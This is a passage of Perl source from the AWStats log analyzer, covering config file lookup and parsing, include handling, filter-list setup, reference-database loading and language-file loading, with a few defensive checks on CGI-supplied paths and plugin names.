1584		|| ( $urlwithnoquery =~ /[\\\/]$/ && $DefaultFile[0] =~ /$regext/o )
1585	  )
1586	{
1587		$extension =
1588		  ( $LevelForFileTypesDetection >= 2 || $MimeHashLib{$1} )
1589		  ? lc($1)
1590		  : 'Unknown';
1591	}
1592	else {
1593		$extension = 'Unknown';
1594	}
1595	return $extension;
1596}
1597
1598#------------------------------------------------------------------------------
1599# Function:     Returns just the file of the url
1600# Parameters:	-
1601# Input:        $url
1602# Output:		String with the file name
1603# Return:		-
1604#------------------------------------------------------------------------------
1605sub Get_Filename{
1606	my $temp = shift;
1607	my $idx = -1;
1608	# check for slash
1609	$idx = rindex($temp, "/");
1610	if ($idx > -1){ $temp = substr($temp, $idx+1);}
1611	else{
1612		$idx = rindex($temp, "\\");
1613		if ($idx > -1){ $temp = substr($temp, $idx+1);}
1614	}
1615	return $temp;
1616}
1617
1618#------------------------------------------------------------------------------
1619# Function:     Compare two browsers version
1620# Parameters:	$a
1621# Input:        None
1622# Output:		None
1623# Return:		-1, 0, 1
1624#------------------------------------------------------------------------------
1625sub SortBrowsers {
1626	my $a_family = $a;
1627	my @a_ver    = ();
1628	foreach my $family ( keys %BrowsersFamily ) {
1629		if ( $a =~ /^$family/i ) {
1630			$a =~ m/^(\D+)([\d\.]+)?$/;
1631			$a_family = $1;
1632			@a_ver = split( /\./, $2 );
1633		}
1634	}
1635	my $b_family = $b;
1636	my @b_ver    = ();
1637	foreach my $family ( keys %BrowsersFamily ) {
1638		if ( $b =~ /^$family/i ) {
1639			$b =~ m/^(\D+)([\d\.]+)?$/;
1640			$b_family = $1;
1641			@b_ver = split( /\./, $2 );
1642		}
1643	}
1644
1645	my $compare = 0;
1646	my $done    = 0;
1647
1648	$compare = $a_family cmp $b_family;
1649	if ( $compare != 0 ) {
1650		return $compare;
1651	}
1652
1653	while ( !$done ) {
1654		my $a_num = shift @a_ver || 0;
1655		my $b_num = shift @b_ver || 0;
1656
1657		$compare = $a_num <=> $b_num;
1658		if ( $compare != 0
1659			|| ( scalar(@a_ver) == 0 && scalar(@b_ver) == 0 && $compare == 0 ) )
1660		{
1661			$done = 1;
1662		}
1663	}
1664
1665	return $compare;
1666}
1667
1668#------------------------------------------------------------------------------
1669# Function:     Read config file
1670# Parameters:	None or configdir to scan
1671# Input:        $DIR $PROG $SiteConfig
1672# Output:		Global variables
1673# Return:		-
1674#------------------------------------------------------------------------------
1675sub Read_Config {
1676
1677	# Check config file in common possible directories :
1678	# Windows :                   				"$DIR" (same dir than awstats.pl)
1679	# Standard, Mandrake and Debian package :	"/etc/awstats"
1680	# Other possible directories :				"/usr/local/etc/awstats", "/etc"
1681	# FHS standard, Suse package : 				"/etc/opt/awstats"
1682	my $configdir         = shift;
1683	my @PossibleConfigDir = (
1684			"$DIR",
1685			"/etc/awstats",
1686			"/usr/local/etc/awstats", "/etc",
1687			"/etc/opt/awstats"
1688		);
1689
1690	if ($configdir) {
1691		# Check if configdir is outside default values.
1692		my $outsidedefaultvalue=1;
1693		foreach (@PossibleConfigDir) {
1694			if ($_ eq $configdir) { $outsidedefaultvalue=0; last; }
1695		}
1696
1697		# If from CGI, overwriting of configdir with a value that differs from a default value
1698		# is only possible if AWSTATS_ENABLE_CONFIG_DIR defined.
1699		# AWSTATS_ENABLE_CONFIG_DIR must contains dir allowed
1700		if ($ENV{'GATEWAY_INTERFACE'} && $outsidedefaultvalue)
1701		{
1702			if (! $ENV{"AWSTATS_ENABLE_CONFIG_DIR"})
1703			{
1704				error("Sorry, to allow overwriting of configdir parameter, from an AWStats CGI page, with a non default value, environment variable AWSTATS_ENABLE_CONFIG_DIR must be set to full path of allowed directory. For example, by adding the line 'SetEnv AWSTATS_ENABLE_CONFIG_DIR /mydirofconf' in your Apache config file or into a .htaccess file.");
1705			}
1706			else
1707			{
1708				if ($configdir !~ $ENV{"AWSTATS_ENABLE_CONFIG_DIR"})
1709				{
1710					error("Sorry, using configdir parameter from an AWStats CGI page is possible only if parameter configdir is a directory defined into environment variable AWSTATS_ENABLE_CONFIG_DIR");
1711				}
1712			}
1713		}
1714
1715		@PossibleConfigDir = ("$configdir");
1716	}
1717
1718	# Open config file
1719	$FileConfig = $FileSuffix = '';
1720	foreach (@PossibleConfigDir) {
1721		my $searchdir = $_;
1722		if ( $searchdir && $searchdir !~ /[\\\/]$/ ) { $searchdir .= "/"; }
1723
1724		if ( -f $searchdir.$PROG.".".$SiteConfig.".conf" &&  open( CONFIG, "<$searchdir$PROG.$SiteConfig.conf" ) ) {
1725			$FileConfig = "$searchdir$PROG.$SiteConfig.conf";
1726			$FileSuffix = ".$SiteConfig";
1727			if ($Debug){debug("Opened config: $searchdir$PROG.$SiteConfig.conf", 2);}
1728			last;
1729		}else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.$SiteConfig.conf", 2);}}
1730
1731		if ( -f $searchdir.$PROG.".conf" &&  open( CONFIG, "$searchdir$PROG.conf" ) ) {
1732			$FileConfig = "$searchdir$PROG.conf";
1733			$FileSuffix = '';
1734			if ($Debug){debug("Opened config: $searchdir$PROG.conf", 2);}
1735			last;
1736		}else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.conf", 2);}}
1737
1738		# Added to open config if file name is passed to awstats
1739		if ( -f $searchdir.$SiteConfig && open( CONFIG, "$searchdir$SiteConfig" ) ) {
1740			$FileConfig = "$searchdir$SiteConfig";
1741			$FileSuffix = '';
1742			if ($Debug){debug("Opened config: $searchdir$SiteConfig", 2);}
1743			last;
1744		}else{if ($Debug){debug("Unable to open config file: $searchdir$SiteConfig", 2);}}
1745	}
1746
1747	#CL - Added to open config if full path is passed to awstats
1748	# Disabled by LDR for security reason.
1749	# If we need to execute config into other dir
1750	#if ( !$FileConfig ) {
1751	#
1752	#	my $SiteConfigBis = File::Spec->rel2abs($SiteConfig);
1753	#	debug("Finally, try to open an absolute path : $SiteConfigBis", 2);
1754	#
1755	#	if ( -f $SiteConfigBis && open(CONFIG, "$SiteConfigBis")) {
1756	#		$FileConfig = "$SiteConfigBis";
1757	#		$FileSuffix = '';
1758	#		if ($Debug){debug("Opened config: $SiteConfigBis", 2);}
1759	#		$SiteConfig=$SiteConfigBis;
1760	#	}
1761	#	else {
1762	#		if ($Debug){debug("Unable to open config file: $SiteConfigBis", 2);}
1763	#	}
1764	#}
1765
1766	if ( !$FileConfig ) {
1767		if ($DEBUGFORCED || !$ENV{'GATEWAY_INTERFACE'}){
1768		error(
1769"Couldn't open config file \"$PROG.$SiteConfig.conf\", nor \"$PROG.conf\", nor \"$SiteConfig\" after searching in path \""
1770			  . join( ', ', @PossibleConfigDir )
1771			  . ", $SiteConfig\": $!" );
1772		}else{error("Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\".
1773		Please read the documentation for directories where the configuration file should be located."); }
1774	}
1775
1776	# Analyze config file content and close it
1777	&Parse_Config( *CONFIG, 1, $FileConfig );
1778	close CONFIG;
1779
1780	# If parameter NotPageList not found, init for backward compatibility
1781	if ( !$FoundNotPageList ) {
1782		%NotPageList = (
1783			'css'   => 1,
1784			'js'    => 1,
1785			'class' => 1,
1786			'gif'   => 1,
1787			'jpg'   => 1,
1788			'jpeg'  => 1,
1789			'png'   => 1,
1790			'bmp'   => 1,
1791			'ico'   => 1,
1792			'swf'   => 1
1793		);
1794	}
1795
1796	# If parameter ValidHTTPCodes empty, init for backward compatibility
1797	if ( !scalar keys %ValidHTTPCodes ) {
1798		$ValidHTTPCodes{"200"} = $ValidHTTPCodes{"304"} = 1;
1799	}
1800
1801	# If parameter ValidSMTPCodes empty, init for backward compatibility
1802	if ( !scalar keys %ValidSMTPCodes ) {
1803		$ValidSMTPCodes{"1"} = $ValidSMTPCodes{"250"} = 1;
1804	}
1805
1806	# If parameter TrapInfosForHTTPErrorCodes empty, init to default
1807	if ( !scalar keys %TrapInfosForHTTPErrorCodes ) {
1808		$TrapInfosForHTTPErrorCodes{"404"} = 1;
1809	}
1810}
1811
1812#------------------------------------------------------------------------------
1813# Function:     Parse content of a config file
1814# Parameters:	opened file handle, depth level, file name
1815# Input:        -
1816# Output:		Global variables
1817# Return:		-
1818#------------------------------------------------------------------------------
1819sub Parse_Config {
1820	my ($confighandle) = $_[0];
1821	my $level          = $_[1];
1822	my $configFile     = $_[2];
1823	my $versionnum     = 0;
1824	my $conflinenb     = 0;
1825
1826	if ( $level > 10 ) {
1827		error(
1828"$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)."
1829		);
1830	}
1831
1832	while (<$confighandle>) {
1833		chomp $_;
1834		s/\r//;
1835		$conflinenb++;
1836
1837		# Extract version from first line
1838		if ( !$versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i ) {
1839			$versionnum = ( $1 * 1000 ) + $2;
1840
1841			#if ($Debug) { debug(" Configure file version is $versionnum",1); }
1842			next;
1843		}
1844
1845		if ( $_ =~ /^\s*$/ ) { next; }
1846
1847		# Check includes
1848		if ( $_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/ )
1849		{    # #include kept for backward compatibility
1850			my $includeFile = $1;
1851
1852			# Expand __var__ by values
1853			while ( $includeFile =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
1854				my $var = $1;
1855				$includeFile =~ s/__${var}__/$ENV{$var}/g;
1856			}
1857			if ($Debug) { debug( "Found an include : $includeFile", 2 ); }
1858			if ( $includeFile !~ /^([a-zA-Z]:)?[\\\/]/ ) {
1859				# Correct relative include files
1860				if ( $FileConfig =~ /^(.*[\\\/])[^\\\/]*$/ ) {
1861					$includeFile = "$1$includeFile";
1862				}
1863			}
1864			if ( $level > 1 && $^V lt v5.6.0 ) {
1865				warning(
1866"Warning: Perl versions before 5.6 cannot handle nested includes"
1867				);
1868				next;
1869			}
1870            local( *CONFIG_INCLUDE );   # To avoid having parent file closed when include file is closed
1871			if ( open( CONFIG_INCLUDE, "<$includeFile" ) ) {
1872				&Parse_Config( *CONFIG_INCLUDE, $level + 1, $includeFile );
1873				close(CONFIG_INCLUDE);
1874			}
1875			else {
1876				error("Could not open include file: $includeFile");
1877			}
1878			next;
1879		}
1880
1881		# Remove comments
1882		if ( $_ =~ /^\s*#/ ) { next; }
1883		$_ =~ s/\s#.*$//;
1884
1885		# Extract param and value
1886		my ( $param, $value ) = split( /=/, $_, 2 );
1887		$param =~ s/^\s+//;
1888		$param =~ s/\s+$//;
1889
1890		# If not a param=value, try with next line
1891		if ( !$param ) {
1892			warning(
1893"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
1894			);
1895			next;
1896		}
1897		if ( !defined $value ) {
1898			warning(
1899"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
1900			);
1901			next;
1902		}
1903
1904		if ($value) {
1905			$value =~ s/^\s+//;
1906			$value =~ s/\s+$//;
1907			$value =~ s/^\"//;
1908			$value =~ s/\";?$//;
1909
1910			# Replace __MONENV__ with value of environnement variable MONENV
1911			# Must be able to replace __VAR_1____VAR_2__
1912			while ( $value =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
1913				my $var = $1;
1914				$value =~ s/__${var}__/$ENV{$var}/g;
1915			}
1916		}
1917
1918		# Initialize parameter for (param,value)
1919		if ( $param =~ /^LogFile/ ) {
1920			if ( $QueryString !~ /logfile=([^\s&]+)/i ) { $LogFile = $value; }
1921			next;
1922		}
1923		if ( $param =~ /^DirIcons/ ) {
1924			if ( $QueryString !~ /diricons=([^\s&]+)/i ) { $DirIcons = $value; }
1925			next;
1926		}
1927		if ( $param =~ /^SiteDomain/ ) {
1928
1929			# No regex test as SiteDomain is always exact value
1930			$SiteDomain = $value;
1931
1932  			if ($SiteDomain =~ m/xn--/)
1933  			{
1934				# TODO Add code to test if IDNA::Punycode module is on
1935				#use IDNA::Punycode;
1936				$DecodePunycode=0;	# Set to 1 if module is on
1937  				if ($DecodePunycode)
1938  				{
1939	                idn_prefix(undef);
1940	                my @parts = split(/\./, $SiteDomain);
1941	                foreach (@parts) {
1942	                	if ($_ =~ s/^xn--//) {
1943	                    	eval { $_ = decode_punycode($_); };
1944	                        if (my $e = $@) { $_ = $e; }
1945	                    }
1946	                }
1947	                $SiteDomain = join('.', @parts);
1948  				}
1949            }
1950
1951			next;
1952		}
1953		if ( $param =~ /^AddLinkToExternalCGIWrapper/ ) {
1954
1955			# No regex test as AddLinkToExternalCGIWrapper is always exact value
1956			$AddLinkToExternalCGIWrapper = $value;
1957			next;
1958        }
1959		if ( $param =~ /^HostAliases/ ) {
1960			@HostAliases = ();
1961			foreach my $elem ( split( /\s+/, $value ) ) {
1962				if ( $elem =~ s/^\@// ) {    # If list of hostaliases in a file
1963					open( DATAFILE, "<$elem" )
1964					  || error(
1965"Failed to open file '$elem' declared in HostAliases parameter"
1966					  );
1967					my @val = map( /^(.*)$/i, <DATAFILE> );
1968					push @HostAliases, map { qr/^$_$/i } @val;
1969					close(DATAFILE);
1970				}
1971				else {
1972					if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1973					else { $elem = '^' . quotemeta($elem) . '$'; }
1974					if ($elem) { push @HostAliases, qr/$elem/i; }
1975				}
1976			}
1977			next;
1978		}
1979
1980		# Special optional setup params
1981		if ( $param =~ /^SkipDNSLookupFor/ ) {
1982			@SkipDNSLookupFor = ();
1983			foreach my $elem ( split( /\s+/, $value ) ) {
1984				if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1985				else { $elem = '^' . quotemeta($elem) . '$'; }
1986				if ($elem) { push @SkipDNSLookupFor, qr/$elem/i; }
1987			}
1988			next;
1989		}
1990		if ( $param =~ /^AllowAccessFromWebToFollowingAuthenticatedUsers/ ) {
1991			@AllowAccessFromWebToFollowingAuthenticatedUsers = ();
1992			foreach ( split( /\s+/, $value ) ) {
1993				push @AllowAccessFromWebToFollowingAuthenticatedUsers, $_;
1994			}
1995			next;
1996		}
1997		if ( $param =~ /^DefaultFile/ ) {
1998			@DefaultFile = ();
1999			foreach my $elem ( split( /\s+/, $value ) ) {
2000
2001				# No REGEX for this option
2002				#if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
2003				#else { $elem='^'.quotemeta($elem).'$'; }
2004				if ($elem) { push @DefaultFile, $elem; }
2005			}
2006			next;
2007		}
2008		if ( $param =~ /^SkipHosts/ ) {
2009			@SkipHosts = ();
2010			foreach my $elem ( split( /\s+/, $value ) ) {
2011				if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2012				else { $elem = '^' . quotemeta($elem) . '$'; }
2013				if ($elem) { push @SkipHosts, qr/$elem/i; }
2014			}
2015			next;
2016		}
2017		if ( $param =~ /^SkipReferrersBlackList/ && $value ) {
2018			open( BLACKLIST, "<$value" )
2019			  || die "Failed to open blacklist: $!\n";
2020			while (<BLACKLIST>) {
2021				chomp;
2022				my $elem = $_;
2023				$elem =~ s/ //;
2024				$elem =~ s/\#.*//;
2025				if ($elem) { push @SkipReferrers, qr/$elem/i; }
2026			}
2027			next;
2028			close(BLACKLIST);
2029		}
2030		if ( $param =~ /^SkipUserAgents/ ) {
2031			@SkipUserAgents = ();
2032			foreach my $elem ( split( /\s+/, $value ) ) {
2033				if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2034				else { $elem = '^' . quotemeta($elem) . '$'; }
2035				if ($elem) { push @SkipUserAgents, qr/$elem/i; }
2036			}
2037			next;
2038		}
2039		if ( $param =~ /^SkipFiles/ ) {
2040			@SkipFiles = ();
2041			foreach my $elem ( split( /\s+/, $value ) ) {
2042				if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2043				else { $elem = '^' . quotemeta($elem) . '$'; }
2044				if ($elem) { push @SkipFiles, qr/$elem/i; }
2045			}
2046			next;
2047		}
2048		if ( $param =~ /^OnlyHosts/ ) {
2049			@OnlyHosts = ();
2050			foreach my $elem ( split( /\s+/, $value ) ) {
2051				if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2052				else { $elem = '^' . quotemeta($elem) . '$'; }
2053				if ($elem) { push @OnlyHosts, qr/$elem/i; }
2054			}
2055			next;
2056		}
2057		if ( $param =~ /^OnlyUsers/ ) {
2058			@OnlyUsers = ();
2059			foreach my $elem ( split( /\s+/, $value ) ) {
2060				if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2061				else { $elem = '^' . quotemeta($elem) . '$'; }
2062				if ($elem) { push @OnlyUsers, qr/$elem/i; }
2063			}
2064			next;
2065		}
2066		if ( $param =~ /^OnlyUserAgents/ ) {
2067			@OnlyUserAgents = ();
2068			foreach my $elem ( split( /\s+/, $value ) ) {
2069				if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2070				else { $elem = '^' . quotemeta($elem) . '$'; }
2071				if ($elem) { push @OnlyUserAgents, qr/$elem/i; }
2072			}
2073			next;
2074		}
2075		if ( $param =~ /^OnlyFiles/ ) {
2076			@OnlyFiles = ();
2077			foreach my $elem ( split( /\s+/, $value ) ) {
2078				if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2079				else { $elem = '^' . quotemeta($elem) . '$'; }
2080				if ($elem) { push @OnlyFiles, qr/$elem/i; }
2081			}
2082			next;
2083		}
2084		if ( $param =~ /^NotPageFiles/ ) {
2085			@NotPageFiles = ();
2086			foreach my $elem ( split( /\s+/, $value ) ) {
2087				if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2088				else { $elem = '^' . quotemeta($elem) . '$'; }
2089				if ($elem) { push @NotPageFiles, qr/$elem/i; }
2090			}
2091			next;
2092		}
2093		if ( $param =~ /^NotPageList/ ) {
2094			%NotPageList = ();
2095			foreach ( split( /\s+/, $value ) ) { $NotPageList{$_} = 1; }
2096			$FoundNotPageList = 1;
2097			next;
2098		}
2099		if ( $param =~ /^ValidHTTPCodes/ ) {
2100			%ValidHTTPCodes = ();
2101			foreach ( split( /\s+/, $value ) ) { $ValidHTTPCodes{$_} = 1; }
2102			next;
2103		}
2104		if ( $param =~ /^ValidSMTPCodes/ ) {
2105			%ValidSMTPCodes = ();
2106			foreach ( split( /\s+/, $value ) ) { $ValidSMTPCodes{$_} = 1; }
2107			next;
2108		}
2109		if ( $param =~ /^TrapInfosForHTTPErrorCodes/ ) {
2110			%TrapInfosForHTTPErrorCodes = ();
2111			foreach ( split( /\s+/, $value ) ) { $TrapInfosForHTTPErrorCodes{$_} = 1; }
2112			next;
2113		}
2114		if ( $param =~ /^URLWithQueryWithOnlyFollowingParameters$/ ) {
2115			@URLWithQueryWithOnly = split( /\s+/, $value );
2116			next;
2117		}
2118		if ( $param =~ /^URLWithQueryWithoutFollowingParameters$/ ) {
2119			@URLWithQueryWithout = split( /\s+/, $value );
2120			next;
2121		}
2122
2123		# Extra parameters
2124		if ( $param =~ /^ExtraSectionName(\d+)/ ) {
2125			$ExtraName[$1] = $value;
2126			next;
2127		}
2128		if ( $param =~ /^ExtraSectionCodeFilter(\d+)/ ) {
2129			@{ $ExtraCodeFilter[$1] } = split( /\s+/, $value );
2130			next;
2131		}
2132		if ( $param =~ /^ExtraSectionCondition(\d+)/ ) {
2133			$ExtraCondition[$1] = $value;
2134			next;
2135		}
2136		if ( $param =~ /^ExtraSectionStatTypes(\d+)/ ) {
2137			$ExtraStatTypes[$1] = $value;
2138			next;
2139		}
2140		if ( $param =~ /^ExtraSectionFirstColumnTitle(\d+)/ ) {
2141			$ExtraFirstColumnTitle[$1] = $value;
2142			next;
2143		}
2144		if ( $param =~ /^ExtraSectionFirstColumnValues(\d+)/ ) {
2145			$ExtraFirstColumnValues[$1] = $value;
2146			next;
2147		}
2148		if ( $param =~ /^ExtraSectionFirstColumnFunction(\d+)/ ) {
2149			$ExtraFirstColumnFunction[$1] = $value;
2150			next;
2151		}
2152		if ( $param =~ /^ExtraSectionFirstColumnFormat(\d+)/ ) {
2153			$ExtraFirstColumnFormat[$1] = $value;
2154			next;
2155		}
2156		if ( $param =~ /^ExtraSectionAddAverageRow(\d+)/ ) {
2157			$ExtraAddAverageRow[$1] = $value;
2158			next;
2159		}
2160		if ( $param =~ /^ExtraSectionAddSumRow(\d+)/ ) {
2161			$ExtraAddSumRow[$1] = $value;
2162			next;
2163		}
2164		if ( $param =~ /^MaxNbOfExtra(\d+)/ ) {
2165			$MaxNbOfExtra[$1] = $value;
2166			next;
2167		}
2168		if ( $param =~ /^MinHitExtra(\d+)/ ) {
2169			$MinHitExtra[$1] = $value;
2170			next;
2171		}
2172
2173		# Plugins
2174		if ( $param =~ /^LoadPlugin/ ) {
2175			$value =~ s/[^a-zA-Z0-9_\/\.\+:=\?\s%\-]//g;		# Sanitize plugin name and string param because it is used later in an eval.
2176			push @PluginsToLoad, $value; next;
2177		}
2178
2179	  # Other parameter checks we need to put after MaxNbOfExtra and MinHitExtra
2180		if ( $param =~ /^MaxNbOf(\w+)/ ) { $MaxNbOf{$1} = $value; next; }
2181		if ( $param =~ /^MinHit(\w+)/ )  { $MinHit{$1}  = $value; next; }
2182
2183# Check if this is a known parameter
2184#		if (! $ConfOk{$param}) { error("Unknown config parameter '$param' found line $conflinenb in file \"configFile\""); }
2185# If parameters was not found previously, defined variable with name of param to value
2186		$$param = $value;
2187	}
2188
2189	if ($Debug) {
2190		debug("Config file read was \"$configFile\" (level $level)");
2191	}
2192}
2193
2194#------------------------------------------------------------------------------
2195# Function:     Load the reference databases
2196# Parameters:	List of files to load
2197# Input:		$DIR
2198# Output:		Arrays and Hash tables are defined
2199# Return:       -
2200#------------------------------------------------------------------------------
2201sub Read_Ref_Data {
2202
2203# Check lib files in common possible directories :
2204# Windows and standard package:        		"$DIR/lib" (lib in same dir than awstats.pl)
2205# Debian package:                    		"/usr/share/awstats/lib"
2206	my @PossibleLibDir = ( "$DIR/lib", "/usr/share/awstats/lib" );
2207	my %FilePath       = ();
2208	my %DirAddedInINC  = ();
2209	my @FileListToLoad = ();
2210	while ( my $file = shift ) { push @FileListToLoad, "$file.pm"; }
2211	if ($Debug) {
2212		debug( "Call to Read_Ref_Data with files to load: "
2213			  . ( join( ',', @FileListToLoad ) ) );
2214	}
2215	foreach my $file (@FileListToLoad) {
2216		foreach my $dir (@PossibleLibDir) {
2217			my $searchdir = $dir;
2218			if (   $searchdir
2219				&& ( !( $searchdir =~ /\/$/ ) )
2220				&& ( !( $searchdir =~ /\\$/ ) ) )
2221			{
2222				$searchdir .= "/";
2223			}
2224			if ( !$FilePath{$file} )
2225			{    # To not load twice same file in different path
2226				if ( -s "${searchdir}${file}" ) {
2227					$FilePath{$file} = "${searchdir}${file}";
2228					if ($Debug) {
2229						debug(
2230"Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]"
2231						);
2232					}
2233
2234					# Note: cygwin perl 5.8 need a push + require file
2235					if ( !$DirAddedInINC{"$dir"} ) {
2236						push @INC, "$dir";
2237						$DirAddedInINC{"$dir"} = 1;
2238					}
2239					my $loadret = require "$file";
2240
2241				   #my $loadret=(require "$FilePath{$file}"||require "${file}");
2242				}
2243			}
2244		}
2245		if ( !$FilePath{$file} ) {
2246			my $filetext = $file;
2247			$filetext =~ s/\.pm$//;
2248			$filetext =~ s/_/ /g;
2249			warning(
2250"Warning: Can't read file \"$file\" ($filetext detection will not work correctly).\nCheck if file is in \""
2251				  . ( $PossibleLibDir[0] )
2252				  . "\" directory and is readable." );
2253		}
2254	}
2255
2256	# Sanity check (if loaded)
2257	if ( ( scalar keys %OSHashID )
2258		&& @OSSearchIDOrder != scalar keys %OSHashID )
2259	{
2260		error(  "Not same number of records of OSSearchIDOrder ("
2261			  . (@OSSearchIDOrder)
2262			  . " entries) and OSHashID ("
2263			  . ( scalar keys %OSHashID )
2264			  . " entries) in OS database. Check your file "
2265			  . $FilePath{"operating_systems.pm"} );
2266	}
2267	if (
2268		( scalar keys %SearchEnginesHashID )
2269		&& ( @SearchEnginesSearchIDOrder_list1 +
2270			@SearchEnginesSearchIDOrder_list2 +
2271			@SearchEnginesSearchIDOrder_listgen ) != scalar
2272		keys %SearchEnginesHashID
2273	  )
2274	{
2275		error(
2276"Not same number of records of SearchEnginesSearchIDOrder_listx (total is "
2277			  . (
2278				@SearchEnginesSearchIDOrder_list1 +
2279				  @SearchEnginesSearchIDOrder_list2 +
2280				  @SearchEnginesSearchIDOrder_listgen
2281			  )
2282			  . " entries) and SearchEnginesHashID ("
2283			  . ( scalar keys %SearchEnginesHashID )
2284			  . " entries) in Search Engines database. Check your file "
2285			  . $FilePath{"search_engines.pm"}
2286			  . " is up to date."
2287		);
2288	}
2289	if ( ( scalar keys %BrowsersHashIDLib )
2290		&& @BrowsersSearchIDOrder != ( scalar keys %BrowsersHashIDLib ) - ( scalar keys %BrowsersFamily ) )
2291	{
2292		#foreach (sort keys %BrowsersHashIDLib)
2293		#{
2294		#	print $_."\n";
2295		#}
2296		#foreach (sort @BrowsersSearchIDOrder)
2297		#{
2298		#	print $_."\n";
2299		#}
2300		error(  "Not same number of records of BrowsersSearchIDOrder ("
2301			  . (@BrowsersSearchIDOrder)
2302			  . " entries) and BrowsersHashIDLib ("
2303			  . ( ( scalar keys %BrowsersHashIDLib ) - ( scalar keys %BrowsersFamily ) )
2304			  . " entries without firefox,opera,chrome,safari,konqueror,svn,msie,netscape,edge) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file "
2305			  . $FilePath{"browsers.pm"}
2306			  . " is up to date." );
2307	}
2308	if (
2309		( scalar keys %RobotsHashIDLib )
2310		&& ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
2311			@RobotsSearchIDOrder_listgen ) !=
2312		( scalar keys %RobotsHashIDLib ) - 1
2313	  )
2314	{
2315		error(
2316			"Not same number of records of RobotsSearchIDOrder_listx (total is "
2317			  . (
2318				@RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
2319				  @RobotsSearchIDOrder_listgen
2320			  )
2321			  . " entries) and RobotsHashIDLib ("
2322			  . ( ( scalar keys %RobotsHashIDLib ) - 1 )
2323			  . " entries without 'unknown') in Robots database. Check your file "
2324			  . $FilePath{"robots.pm"}
2325			  . " is up to date."
2326		);
2327	}
2328}
2329
2330#------------------------------------------------------------------------------
2331# Function:     Get the messages for a specified language
2332# Parameters:	LanguageId
2333# Input:		$DirLang $DIR
2334# Output:		$Message table is defined in memory
2335# Return:		None
2336#------------------------------------------------------------------------------
2337sub Read_Language_Data {
2338
2339	# Check lang files in common possible directories :
2340	# Windows and standard package:         	"$DIR/lang" (lang in same dir than awstats.pl)
2341	# Debian package :                    		"/usr/share/awstats/lang"
2342	my @PossibleLangDir =
2343	  ( "$DirLang", "$DIR/lang", "/usr/share/awstats/lang" );
2344
2345	my $FileLang = '';
2346	foreach (@PossibleLangDir) {
2347		my $searchdir = $_;
2348		if ( $searchdir =~ /\|/ )		# We refuse path that contains "|"
2349		{
2350			error("DirLang parameter can't contains character |");
2351			next;
2352		}
2353		if ( $searchdir
2354			&& ( !( $searchdir =~ /\/$/ ) )
2355			&& ( !( $searchdir =~ /\\$/ ) ) )
2356		{
2357			$searchdir .= "/";
2358		}
2359		if ( open( LANG, "${searchdir}awstats-$_[0].txt" ) ) {
2360			$FileLang = "${searchdir}awstats-$_[0].txt";
2361			last;
2362		}
2363	}
2364
2365	# If file not found, we try english
2366	if ( !$FileLang ) {
2367		foreach (@PossibleLangDir) {
2368			my $searchdir = $_;
2369			if (   $searchdir
2370				&& ( !( $searchdir =~ /\/$/ ) )
2371				&& ( !( $searchdir =~ /\\$/ ) ) )
2372			{
2373				$searchdir .= "/";
2374			}
2375			if ( open( LANG, "${searchdir}awstats-en.txt" ) ) {
2376				$FileLang = "${searchdir}awstats-en.txt";
2377				last;
2378			}
2379		}
2380	}
2381	if ($Debug) {
2382		debug("Call to Read_Language_Data [FileLang=\"$FileLang\"]");
2383	}
2384	if ($FileLang) {
2385		my $i = 0;
2386		binmode LANG;    # Might avoid 'Malformed UTF-8 errors'
2387		my $cregcode    = qr/^PageCode=[\t\s\"\']*([\w-]+)/i;
2388		my $cregdir     = qr/^PageDir=[\t\s\"\']*([\w-]+)/i;
2389		my $cregmessage = qr/^Message\d+=/i;
2390		while (<LANG>) {
2391			chomp $_;
2392			s/\r//;
2393			if ( $_ =~ /$cregcode/o ) { $PageCode = $1; }
2394			if ( $_ =~ /$cregdir/o )  { $PageDir  = $1; }
2395			if ( $_ =~ s/$cregmessage//o ) {
2396				$_ =~ s/^#.*//;       # Remove comments
2397				$_ =~ s/\s+#.*//;     # Remove comments
2398				$_ =~ tr/\t /  /s;    # Change all blanks into " "
2399				$_ =~ s/^\s+//;
2400				$_ =~ s/\s+$//;
2401				$_ =~ s/^\"//;
2402				$_ =~ s/\"$//;
2403				$Message[$i] = $_;
2404				$i++;
2405			}
2406		}
2407		close(LANG);
2408	}
2409	else {
2410		warning(
2411"Warning: Can't find language files for \"$_[0]\". English will be used."
2412		);
2413	}
2414
2415	# Some language string changes
2416	if ( $LogType eq 'M' ) {    # For mail
2417		$Message[8]  = $Message[151];
2418		$Message[9]  = $Message[152];
2419		$Message[57] = $Message[149];
2420		$Message[75] = $Message[150];
2421	}
2422	if ( $LogType eq 'F' ) {    # For web
2423
2424	}
2425}
2426
2427#------------------------------------------------------------------------------
2428# Function:     Substitute date tags in a string by value
2429# Parameters:	String
2430# Input:		All global variables
2431# Output:		Change on some global variables
2432# Return:		String
2433#------------------------------------------------------------------------------
2434sub Substitute_Tags {
2435	my $SourceString = shift;
2436	if ($Debug) { debug("Call to Substitute_Tags on $SourceString"); }
2437
